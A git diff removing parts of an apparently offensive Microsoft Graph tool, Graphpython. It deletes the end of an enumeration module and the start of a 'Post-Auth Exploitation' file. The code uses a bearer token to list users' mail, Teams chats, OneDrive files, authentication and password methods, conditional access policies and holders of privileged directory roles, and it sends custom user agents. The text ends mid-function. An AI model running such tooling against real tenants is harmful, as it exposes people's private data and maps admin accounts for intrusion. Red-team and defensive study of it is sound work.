--id argument is required for Get-GroupMember command") - return - print_yellow("[*] Get-GroupMember") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/groups/{args.id}/members" - - if args.select: - api_url += f"?$select={args.select}" - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'User-Agent': user_agent - } - - response = requests.get(api_url, headers=headers) - if response.status_code == 200: - response_json = response.json() - if 'value' in response_json and response_json['value']: - for item in response_json['value']: - for key, value in item.items(): - if key != "@odata.type": - if isinstance(value, list): - print(f"{key} :") - for list_item in value: - print(f" - {list_item}") - elif isinstance(value, dict): - print(f"{key} :") - for sub_key, sub_value in value.items(): - print(f" {sub_key} : {sub_value}") - else: - print(f"{key} : {value}") - print("\n") - else: - print_red("[-] Error: No members found in this group") - else: - print_red(f"[-] Failed to retrieve group members: {response.status_code}") - print_red(response.text) - print("=" * 80) - -# get-userapproleassignments -def get_userapproleassignments(args): - print_yellow("[*] Get-UserAppRoleAssignments") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/me/appRoleAssignments" - - if args.id: - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/appRoleAssignments" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(get_access_token(args.token), api_url, args) - print("=" * 80) - -# get-conditionalaccesspolicy -def get_conditionalaccesspolicy(args): - if not args.id: - print_red("[-] Error: --id argument is required for Get-ConditionalAccessPolicy command") - return - - print_yellow("[*] Get-ConditionalAccessPolicy") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies/{args.id}" - - if args.select: - api_url += "?$select=" + args.select - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'User-Agent': user_agent - } - - response = requests.get(api_url, headers=headers) - if response.status_code == 200: - response_json = response.json() - for key, value in response_json.items(): - if key != "@odata.context": - print(f"{key}: {value}") - else: - print_red(f"[-] Failed to retrieve CAP: {response.status_code}") - print_red(response.text) - print("=" * 80) - -# get-application -def get_application(args): - if not args.id: - print_red("[-] Error: --id argument is required for Get-Application command") - return - - print_yellow("[*] Get-Application") - print("=" * 80) - api_url = f"https://graph.microsoft.com/beta/myorganization/applications(appId='{args.id}')" # app id - #api_url = f"https://graph.microsoft.com/v1.0/applications/{args.id}" # object id - - if args.select: - api_url += "?$select=" + args.select - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'User-Agent': user_agent - } - - response = requests.get(api_url, headers=headers) - if response.status_code == 200: - response_json = response.json() - def parse_roleids(content): - soup = BeautifulSoup(content, 'html.parser') - permissions = {} - for h3 in soup.find_all('h3'): - permission_name = h3.get_text() - table = h3.find_next('table') - rows = table.find_all('tr') - application_id = rows[1].find_all('td')[1].get_text() - delegated_id = rows[1].find_all('td')[2].get_text() - application_description = rows[2].find_all('td')[1].get_text() - delegated_description = rows[2].find_all('td')[2].get_text() - application_consent = rows[4].find_all('td')[1].get_text() if len(rows) > 4 else "Unknown" - delegated_consent = rows[4].find_all('td')[2].get_text() if len(rows) > 4 else "Unknown" - permissions[application_id] = ('Application', permission_name, application_description, application_consent) - permissions[delegated_id] = ('Delegated', permission_name, delegated_description, delegated_consent) - return permissions - script_dir = os.path.dirname(os.path.abspath(__file__)) - file_path = os.path.join(script_dir, 'graphpermissions.txt') - try: - with open(file_path, 'r') as file: - content = file.read() - except FileNotFoundError: - print_red(f"\n[-] The file {file_path} does not exist.") - sys.exit(1) - except Exception as e: - print_red(f"\n[-] An error occurred: {e}") - sys.exit(1) - permissions = parse_roleids(content) - for key, value in response_json.items(): - if key == "requiredResourceAccess": - if value: - print_green(f"{key}:") - for resource in value: - print_green(f" Resource App ID: {resource['resourceAppId']}") - for access in resource['resourceAccess']: - role_id = access['id'] - role_type = access['type'] - if role_id in permissions: - perm_type, role_name, description, consent_required = permissions[role_id] - print_green(f" Role ID: {role_id}") - print_green(f" Role Name: {role_name}") - print_green(f" Description: {description}") - print_green(f" Type: {role_type}") - print_green(f" Permission Type: {perm_type}") - print_green(f" Admin Consent Required: {consent_required}") - else: - print_red(f" Role ID: {role_id} (Information not found)") - print_red(f" Type: {role_type}") - print(" ---") - else: - print_red(f"{key} : No assignments") - elif key != "@odata.context": - print(f"{key}: {value}") - else: - print_red(f"[-] Failed to retrieve Azure Application details: {response.status_code}") - print_red(response.text) - print("=" * 80) - -# get-appserviceprincipal -def get_appserviceprincipal(args): - if not args.id: - print_red("[-] Error: --id argument is required for Get-AppServicePrincipal command") - return - - print_yellow("[*] Get-AppServicePrincipal") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/servicePrincipals?$filter=appId+eq+'{args.id}'" - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'User-Agent': user_agent - } - - graph_api_get(get_access_token(args.token), api_url, args) - print("=" * 80) - -# get-serviceprincipal -def get_serviceprincipal(args): - if not args.id: - print_red("[-] Error: --id argument is required for Get-ServicePrincipal command") - return - - print_yellow("[*] Get-ServicePrincipal") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/servicePrincipals/{args.id}" - if args.select: - api_url += "?$select=" + args.select - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'User-Agent': user_agent - } - - response = requests.get(api_url, headers=headers) - if response.status_code == 200: - response_json = response.json() - for key, value in response_json.items(): - if key != "@odata.context": - print(f"{key}: {value}") - else: - print_red(f"[-] Failed to retrieve Service Principal details: {response.status_code}") - print_red(response.text) - print("=" * 80) - -# get-serviceprincipalapproleassignments -def get_serviceprincipalapproleassignments(args): - print_yellow("[*] Get-ServicePrincipalAppRoleAssignments") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/servicePrincipals/{args.id}/appRoleAssignments" - - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(get_access_token(args.token), api_url, args) - print("=" * 80) - -# get-personalcontacts -def get_personalcontacts(args): - print_yellow("[*] Get-PersonalContacts") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/me/contacts" - - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(get_access_token(args.token), api_url, args) - print("=" * 80) - -# get-crosstenantaccesspolicy -def get_crosstenantaccesspolicy(args): - print_yellow("[*] Get-CrossTenantAccessPolicy") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/policies/crossTenantAccessPolicy" - - if args.id: - api_url += f"/{args.id}" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(get_access_token(args.token), api_url, args) - print("=" * 80) - -# get-partnercrosstenantaccesspolicy -def get_partnercrosstenantaccesspolicy(args): - print_yellow("[*] Get-PartnerCrossTenantAccessPolicy") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/policies/crossTenantAccessPolicy/templates/multiTenantOrganizationPartnerConfiguration" - - if args.id: - api_url += f"/{args.id}" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(get_access_token(args.token), api_url, args) - print("=" * 80) - -# get-userchatmessages -def get_userchatmessages(args): - if not args.id: - print_red("[-] Error: --id argument is required for Get-UserChatMessages command") - return - print_yellow("[*] Get-UserChatMessages") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/chats" - - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(get_access_token(args.token), api_url, args) - print("=" * 80) - -# get-administrativeunitmember -def get_administrativeunitmember(args): - if not args.id: - print_red("[-] Error: --id argument is required for Get-AdministrativeUnitMember command") - return - - print_yellow("[*] Get-AdministrativeUnitMember") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/directory/administrativeUnits/{args.id}/members" - - if args.select: - api_url += "?$select=" + args.select - graph_api_get(get_access_token(args.token), api_url, args) - print("=" * 80) - -# get-onedrivefiles -def get_onedrivefiles(args): - print_yellow("[*] Get-OneDriveFiles") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/me/drive/root/children" - - if args.id: - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/drive/root/children" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(get_access_token(args.token), api_url, args) - print("=" * 80) - -# get-userpermissiongrants -def get_userpermissiongrants(args): - print_yellow("[*] Get-UserPermissionGrants") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/me/permissionGrants" - - if args.id: - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/permissionGrants" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(get_access_token(args.token), api_url, args) - print("=" * 80) - -# get-oauth2permissiongrants -def get_oauth2permissiongrants(args): - print_yellow("[*] Get-oauth2PermissionGrants") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/me/oauth2PermissionGrants" - - if args.id: - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/oauth2PermissionGrants" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(get_access_token(args.token), api_url, args) - print("=" * 80) - -# get-messages -def get_messages(args): - print_yellow("[*] Get-Messages") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/me/messages" - - if args.id: - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/messages" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(get_access_token(args.token), api_url, args) - print("=" * 80) - -# get-temporaryaccesspassword -def get_temporaryaccesspassword(args): - if not args.id: - print_red("[-] Error: --id argument is required for Get-TemporaryAccessPassword command") - return - print_yellow("[*] Get-TemporaryAccessPassword") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/authentication/passwordMethods" - - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(get_access_token(args.token), api_url, args) - print("=" * 80) - -# get-password -def get_password(args): - if not args.id: - print_red("[-] Error: --id argument is required for Get-Password command") - return - print_yellow("[*] Get-Password") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/passwordCredentials" - - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(get_access_token(args.token), api_url, args) - print("=" * 80) - -# list-authmethods -def list_authmethods(args): - print_yellow("[*] List-AuthMethods") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/me/authentication/methods" - - if args.id: - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/authentication/methods" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(get_access_token(args.token), api_url, args) - print("=" * 80) - -# list-directoryroles -def list_directoryroles(args): - print_yellow("[*] List-DirectoryRoles") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/directoryRoles" - - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(get_access_token(args.token), api_url, args) - print("=" * 80) - -# list-notebooks -def list_notebooks(args): - print_yellow("[*] List-Notebooks") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/me/onenote/notebooks" - - if args.id: - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/onenote/notebooks" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(get_access_token(args.token), api_url, args) - print("=" * 80) - -# list-conditionalaccesspolicies -def list_conditionalaccesspolicies(args): - print_yellow("[*] List-ConditionalAccessPolicies") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies" - - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(get_access_token(args.token), api_url, args) - print("=" * 80) - -# list-conditionalauthenticationcontexts -def list_conditionalauthenticationcontexts(args): - print_yellow("[*] List-ConditionalAuthenticationContexts") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/identity/conditionalAccess/authenticationContextClassReferences" - - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(get_access_token(args.token), api_url, args) - print("=" * 80) - -# list-conditionalnamedlocations -def list_conditionalnamedlocations(args): - print_yellow("[*] List-ConditionalNamedLocations") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/identity/conditionalAccess/namedLocations" - - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(get_access_token(args.token), api_url, args) - print("=" * 80) - -# list-sharepointroot -def list_sharepointroot(args): - print_yellow("[*] List-SharePointRoot") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/sites/root" - - if args.select: - api_url += "?$select=" + args.select - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'User-Agent': user_agent - } - - response = requests.get(api_url, headers=headers) - if response.status_code == 200: - response_json = response.json() - for key, value in response_json.items(): - if key != "@odata.context": - print(f"{key}: {value}") - else: - print_red(f"[-] Failed to retrieve current user: {response.status_code}") - print_red(response.text) - print("=" * 80) - - -# list-sharepointsites -def list_sharepointsites(args): - print_yellow("[*] List-SharePointSites") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/sites" - - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(get_access_token(args.token), api_url, args) - print("=" * 80) - -# list-sharepointurls -def list_sharepointurls(args): - print_yellow("[*] List-SharePointURLs") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/search/query" - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - data = { - "requests": [ - { - "entityTypes": ["drive"], - "query": { - "queryString": "*" - }, - "from": 0, - "size": 500, - "fields": [ - "webUrl" - ] - } - ] - } - - try: - response = requests.post(api_url, headers=headers, json=data, timeout=30) - response.raise_for_status() - - response_body = response.json() - - if 'value' in response_body: - for item in response_body['value']: - for hit in item.get('hitsContainers', []): - for result in hit.get('hits', []): - web_url = result.get('resource', {}).get('webUrl') - if web_url: - print(web_url) - else: - print_yellow("[-] No results found in the response.") - - next_link = response_body.get("@odata.nextLink") - while next_link: - response = requests.get(next_link, headers=headers, timeout=30) - response.raise_for_status() - response_body = response.json() - - if 'value' in response_body: - for item in response_body['value']: - for hit in item.get('hitsContainers', []): - for result in hit.get('hits', []): - web_url = result.get('resource', {}).get('webUrl') - if web_url: - print(web_url) - - next_link = response_body.get("@odata.nextLink") - - except requests.exceptions.RequestException as e: - print_red(f"[-] Failed to search data: {str(e)}") - if hasattr(e, 'response'): - print_red(e.response.text) - - print("=" * 80) - -# list-externalconnections -def list_externalconnections(args): - print_yellow("[*] List-ExternalConnections") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/external/connections" - - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(get_access_token(args.token), api_url, args) - print("=" * 80) - -# list-applications -def list_applications(args): - print_yellow("[*] List-Applications") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/applications" - if args.select: - api_url += "?$select=" + args.select - - user_agent = get_user_agent(args) - headers = { - 'Authorization': 'Bearer ' + get_access_token(args.token), - 'Accept': 'application/json', - 'User-Agent': user_agent - } - - response = requests.get(api_url, headers=headers) - - if response.status_code == 200: - applications = response.json() - else: - print_red(f"[-] Error: API request failed with status code {response.status_code}") - applications = None - - def parse_roleids(content): - soup = BeautifulSoup(content, 'html.parser') - permissions = {} - for h3 in soup.find_all('h3'): - permission_name = h3.get_text() - table = h3.find_next('table') - rows = table.find_all('tr') - application_id = rows[1].find_all('td')[1].get_text() - delegated_id = rows[1].find_all('td')[2].get_text() - application_description = rows[2].find_all('td')[1].get_text() - delegated_description = rows[2].find_all('td')[2].get_text() - application_consent = rows[4].find_all('td')[1].get_text() if len(rows) > 4 else "Unknown" - delegated_consent = rows[4].find_all('td')[2].get_text() if len(rows) > 4 else "Unknown" - permissions[application_id] = ('Application', permission_name, application_description, application_consent) - permissions[delegated_id] = ('Delegated', permission_name, delegated_description, delegated_consent) - return permissions - - script_dir = os.path.dirname(os.path.abspath(__file__)) - file_path = os.path.join(script_dir, 'graphpermissions.txt') - try: - with open(file_path, 'r') as file: - content = file.read() - except FileNotFoundError: - print_red(f"\n[-] The file {file_path} does not exist.") - sys.exit(1) - except Exception as e: - print_red(f"\n[-] An error occurred: {e}") - sys.exit(1) - - permissions = parse_roleids(content) - - if applications and 'value' in applications: - for app in applications['value']: - for key, value in app.items(): - if key == 'requiredResourceAccess': - if value: - print_green(f"{key}:") - for resource in value: - print_green(f" Resource App ID: {resource['resourceAppId']}") - for access in resource['resourceAccess']: - role_id = access['id'] - role_type = access['type'] - if role_id in permissions: - perm_type, role_name, description, consent_required = permissions[role_id] - print_green(f" Role ID: {role_id}") - print_green(f" Role Name: {role_name}") - print_green(f" Description: {description}") - print_green(f" Type: {role_type}") - print_green(f" Permission Type: {perm_type}") - print_green(f" Admin Consent Required: {consent_required}") - else: - print_red(f" Role ID: {role_id} (Information not found)") - print_red(f" Type: {role_type}") - print(" ---") - else: - print_red(f"{key} : No assignments") - else: - print(f"{key} : {value}") - print("\n") - print("=" * 80) - -# list-serviceprincipals -def list_serviceprincipals(args): - print_yellow("[*] List-ServicePrincipals") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/servicePrincipals" - - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(get_access_token(args.token), api_url, args) - print("=" * 80) - -# list-tenants -def list_tenants(args): - print_yellow("[*] List-Tenants") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/tenantRelationships/multiTenantOrganization/tenants" - - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(get_access_token(args.token), api_url, args) - print("=" * 80) - -# list-joinedteams -def list_joinedteams(args): - print_yellow("[*] List-JoinedTeams") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/me/joinedTeams" - - if args.id: - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/joinedTeams" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(get_access_token(args.token), api_url, args) - print("=" * 80) - -# list-chats -def list_chats(args): - print_yellow("[*] List-Chats") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/me/chats" - - if args.id: - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/chats" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(get_access_token(args.token), api_url, args) - print("=" * 80) - -# list-chatmessages -def list_chatmessages(args): - if not args.id: - print_red("[-] Error: --id argument is required for List-ChatMessages command") - return - - print_yellow("[*] List-ChatMessages") - print("=" * 80) - api_url = f"https://graph.microsoft.com/v1.0/chats/{args.id}/messages" - - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(get_access_token(args.token), api_url, args) - print("=" * 80) - -# list-devices -def list_devices(args): - print_yellow("[*] List-Devices") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/devices" - - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(get_access_token(args.token), api_url, args) - print("=" * 80) - -# list-administrativeunits -def list_administrativeunits(args): - print_yellow("[*] List-AdministrativeUnits") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/directory/administrativeUnits" - - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(get_access_token(args.token), api_url, args) - print("=" * 80) - -# list-onedrives -def list_onedrives(args): - print_yellow("[*] List-OneDrives") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/me/drives" - - if args.id: - api_url = f"https://graph.microsoft.com/v1.0/users/{args.id}/drives" - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(get_access_token(args.token), api_url, args) - print("=" * 80) - -# list-recentonedrivefiles -def list_recentonedrivefiles(args): - print_yellow("[*] List-RecentOneDriveFiles") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/me/drive/recent" - user_agent = get_user_agent(args) - headers = { - "Authorization": f"Bearer {get_access_token(args.token)}", - "User-Agent": user_agent - } - - try: - while api_url: - response = requests.get(api_url, headers=headers) - response.raise_for_status() - response_body = response.json() - filtered_data = response_body.get('value', []) - if filtered_data: - file_count = 1 - for d in filtered_data: - print_green(f"File {file_count}") - if args.select: - selected_fields = args.select.split(',') - for field in selected_fields: - value = d - for part in field.split('.'): - if isinstance(value, dict) and part in value: - value = value[part] - else: - value = None - break - if value is not None: - print(f"{field} : {value}") - else: - for key, value in d.items(): - if isinstance(value, (str, int, float, bool)): - print(f"{key} : {value}") - elif isinstance(value, dict): - print(f"{key} : {json.dumps(value, indent=2)}") - else: - print(f"{key} : {str(value)}") - print("\n") - file_count += 1 - else: - print_red("[-] No data found") - return - - api_url = response_body.get("@odata.nextLink") - except requests.RequestException as e: - print_red(f"[-] Error making request: {str(e)}") - print("=" * 80) - -# list-sharedonedrivefiles -def list_sharedonedrivefiles(args): - print_yellow("[*] List-SharedOneDriveFiles") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/me/drive/sharedWithMe" - - if args.select: - api_url += "?$select=" + args.select - - graph_api_get(get_access_token(args.token), api_url, args) - print("=" * 80) - -# list-onedriveurls -def list_onedriveurls(args): - print_yellow("[*] List-OneDriveURLs") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/search/query" - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - data = { - "requests": [ - { - "entityTypes": ["driveItem"], # get OneDrive and SharePoint - no only OneDrive option - "query": { - "queryString": "*" - }, - "from": 0, - "size": 500, - "fields": [ - "webUrl" - ] - } - ] - } - - try: - response = requests.post(api_url, headers=headers, json=data, timeout=30) - response.raise_for_status() - - response_body = response.json() - - if 'value' in response_body: - for item in response_body['value']: - for hit in item.get('hitsContainers', []): - for result in hit.get('hits', []): - web_url = result.get('resource', {}).get('webUrl') - if web_url: - print(web_url) - else: - print_yellow("[-] No results found in the response.") - - next_link = response_body.get("@odata.nextLink") - while next_link: - response = requests.get(next_link, headers=headers, timeout=30) - response.raise_for_status() - response_body = response.json() - - if 'value' in response_body: - for item in response_body['value']: - for hit in item.get('hitsContainers', []): - for result in hit.get('hits', []): - web_url = result.get('resource', {}).get('webUrl') - if web_url: - print(web_url) - - next_link = response_body.get("@odata.nextLink") - - except requests.exceptions.RequestException as e: - print_red(f"[-] Failed to search data: {str(e)}") - if hasattr(e, 'response'): - print_red(e.response.text) - - print("=" * 80) \ No newline at end of file diff --git a/graphpython/commands/exploit.py b/graphpython/commands/exploit.py deleted file mode 100644 index 571934d..0000000 --- a/graphpython/commands/exploit.py +++ /dev/null @@ -1,1339 +0,0 @@ -import requests -import json -import os -import time -import sys -from tqdm import tqdm -from datetime import datetime, timedelta, timezone -from tabulate import tabulate -from bs4 import BeautifulSoup -from cryptography import x509 -from cryptography.hazmat.primitives import hashes, serialization -from cryptography.hazmat.primitives.serialization import pkcs12 -from cryptography.hazmat.backends import default_backend -from Graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token -from Graphpython.utils.helpers import read_file_content, format_list_style, highlight_search_term, read_and_encode_cert - -########################## -# Post-Auth Exploitation # -########################## - -# invoke-customquery -def invoke_customquery(args): - if not args.query: - print_red("[-] Error: --query argument is required for Invoke-CutstomQuery command") - return - - print_yellow("[*] Invoke-CutstomQuery") - print("=" * 80) - api_url = args.query - if args.select: - api_url += "?$select=" + args.select - - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'User-Agent': user_agent - } - - response = requests.get(api_url, headers=headers) - if response.status_code == 200: - response_json = response.json() - if "@odata.context" in response_json: - del response_json["@odata.context"] - print(json.dumps(response_json, indent=4)) - else: - print_red(f"[-] Failed to retrieve query: {response.status_code}") - print_red(response.text) - print("=" * 80) - -# invoke-search -def invoke_search(args): - if not args.search or not args.entity: - print_red("[-] Error: --search and --entity required for Invoke-Search command") - return - - print_yellow("[*] Invoke-Search") - print("=" * 80) - api_url = "https://graph.microsoft.com/v1.0/search/query" - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'Content-Type': 'application/json', - 'User-Agent': user_agent - } - - json_body = { - "requests": [ - { - "entityTypes": [args.entity], - "query": { - "queryString": args.search - } - } - ] - } - - response = requests.post(api_url, headers=headers, data=json.dumps(json_body)) - if response.ok: - response_body = response.json() - - for key, value in response_body.items(): - if not key.startswith("@odata.context"): - pretty_value = json.dumps(value, indent=4) - highlighted_value = highlight_search_term(pretty_value, args.search) - print(f"{key}: {highlighted_value}") - - url = response_body.get("@odata.nextLink") - if url: - response = requests.get(url, headers=headers) - response.raise_for_status() - response_body = response.json() - else: - print_red(f"[-] Failed to search data: {response.status_code}") - print_red(response.text) - print("=" * 80) - -# find-privilegedroleusers -def find_privilegedroleusers(args): - roles = [ - {"displayName": "Password Administrator", "roleTemplateId": "966707d0-3269-4727-9be2-8c3a10f19b9d", "description": "Can reset passwords for non-administrators and Password Administrators."}, - {"displayName": "Global Reader", "roleTemplateId": "f2ef992c-3afb-46b9-b7cf-a126ee74c451", "description": "Can read everything that a Global Administrator can, but not update anything."}, - {"displayName": "Directory Synchronization Accounts", "roleTemplateId": "d29b2b05-8046-44ba-8758-1e26182fcf32", "description": "Only used by Microsoft Entra Connect and Microsoft Entra Cloud Sync services."}, - {"displayName": "Security Reader", "roleTemplateId": "5d6b6bb7-de71-4623-b4af-96380a352509", "description": "Can read security information and reports in Microsoft Entra ID and Office 365."}, - {"displayName": "Privileged Authentication Administrator", "roleTemplateId": "7be44c8a-adaf-4e2a-84d6-ab2649e08a13", "description": "Can access to view, set and reset authentication method information for any user (admin or non-admin)."}, - {"displayName": "Azure AD Joined Device Local Administrator", "roleTemplateId": "9f06204d-73c1-4d4c-880a-6edb90606fd8", "description": "Users with this role can locally administer Azure AD joined devices."}, - {"displayName": "Authentication Administrator", "roleTemplateId": "c4e39bd9-1100-46d3-8c65-fb160da0071f", "description": "Can access to view, set and reset authentication method information for any non-admin user."}, - {"displayName": "Groups Administrator", "roleTemplateId": "fdd7a751-b60b-444a-984c-02652fe8fa1c", "description": "Can manage all aspects of groups and group settings like naming and expiration policies."}, - {"displayName": "Application Administrator", "roleTemplateId": "9b895d92-2cd3-44c7-9d02-a6ac2d5ea5c3", "description": "Can create and manage all aspects of app registrations and enterprise apps."}, - {"displayName": "Helpdesk Administrator", "roleTemplateId": "729827e3-9c14-49f7-bb1b-9608f156bbb8", "description": "Can reset passwords for non-administrators and Helpdesk Administrators."}, - {"displayName": "Directory Readers", "roleTemplateId": "88d8e3e3-8f55-4a1e-953a-9b9898b8876b", "description": "Can read basic directory information. Not intended for granting access to applications."}, - {"displayName": "User Administrator", "roleTemplateId": "fe930be7-5e62-47db-91af-98c3a49a38b1", "description": "Can manage all aspects of users and groups, including resetting passwords for limited admins."}, - {"displayName": "Global Administrator", "roleTemplateId": "62e90394-69f5-4237-9190-012177145e10", "description": "Can manage all aspects of Microsoft Entra ID and Microsoft services that use Microsoft Entra identities."}, - {"displayName": "Intune Administrator", "roleTemplateId": "3a2c62db-5318-420d-8d74-23affee5d9d5", "description": "Can manage all aspects of the Intune product."}, - {"displayName": "Application Developer", "roleTemplateId": "cf1c38e5-3621-4004-a7cb-879624dced7c", "description": "Can create application registrations independent of the 'Users can register applications' setting."}, - {"displayName": "Authentication Extensibility Administrator", "roleTemplateId": "25a516ed-2fa0-40ea-a2d0-12923a21473a", "description": "Customize sign in and sign up experiences for users by creating and managing custom authentication extensions."}, - {"displayName": "B2C IEF Keyset Administrator", "roleTemplateId": "aaf43236-0c0d-4d5f-883a-6955382ac081", "description": "Can manage secrets for federation and encryption in the Identity Experience Framework (IEF)."}, - {"displayName": "Cloud Application Administrator", "roleTemplateId": "158c047a-c907-4556-b7ef-446551a6b5f7", "description": "Can create and manage all aspects of app registrations and enterprise apps except App Proxy."}, - {"displayName": "Cloud Device Administrator", "roleTemplateId": "7698a772-787b-4ac8-901f-60d6b08affd2", "description": "Limited access to manage devices in Microsoft Entra ID."}, - {"displayName": "Conditional Access Administrator", "roleTemplateId": "b1be1c3e-b65d-4f19-8427-f6fa0d97feb9", "description": "Can manage Conditional Access capabilities."}, - {"displayName": "Directory Writers", "roleTemplateId": "9360feb5-f418-4baa-8175-e2a00bac4301", "description": "Can read and write basic directory information. For granting access to applications, not intended for users."}, - {"displayName": "Domain Name Administrator", "roleTemplateId": "8329153b-31d0-4727-b945-745eb3bc5f31", "description": "Can manage domain names in cloud and on-premises."}, - {"displayName": "External Identity Provider Administrator", "roleTemplateId": "be2f45a1-457d-42af-a067-6ec1fa63bc45", "description": "Can configure identity providers for use in direct federation."}, - {"displayName": "Hybrid Identity Administrator", "roleTemplateId": "8ac3fc64-6eca-42ea-9e69-59f4c7b60eb2", "description": "Manage Active Directory to Microsoft Entra cloud provisioning, Microsoft Entra Connect, pass-through authentication (PTA), password hash synchronization (PHS), seamless single sign-on (seamless SSO), and federation settings. Does not have access to manage Microsoft Entra Connect Health."}, - {"displayName": "Lifecycle Workflows Administrator", "roleTemplateId": "59d46f88-662b-457b-bceb-5c3809e5908f", "description": "Create and manage all aspects of workflows and tasks associated with Lifecycle Workflows in Microsoft Entra ID."}, - {"displayName": "Privileged Role Administrator", "roleTemplateId": "e8611ab8-c189-46e8-94e1-60213ab1f814", "description": "Can manage role assignments in Microsoft Entra ID, and all aspects of Privileged Identity Management."}, - {"displayName": "Security Administrator", "roleTemplateId": "194ae4cb-b126-40b2-bd5b-6091b380977d", "description": "Can read security information and reports, and manage configuration in Microsoft Entra ID and Office 365."}, - {"displayName": "Security Operator", "roleTemplateId": "5f2222b1-57c3-48ba-8ad5-d4759f1fde6f", "description": "Creates and manages security events."} - ] - - print_yellow("[*] Find-PrivilegedRoleUsers") - print("=" * 80) - user_agent = get_user_agent(args) - headers = { - 'Authorization': f'Bearer {get_access_token(args.token)}', - 'User-Agent': user_agent - } - - for role in roles: - api_url = f"https://graph.microsoft.com/v1.0/directoryRoles(roleTemplateId='{role['roleTemplateId']}')/members" - response = requests.get(api_url, headers=headers) - if response.ok: - print_green(f"[+] Role: {role['displayName']}") - 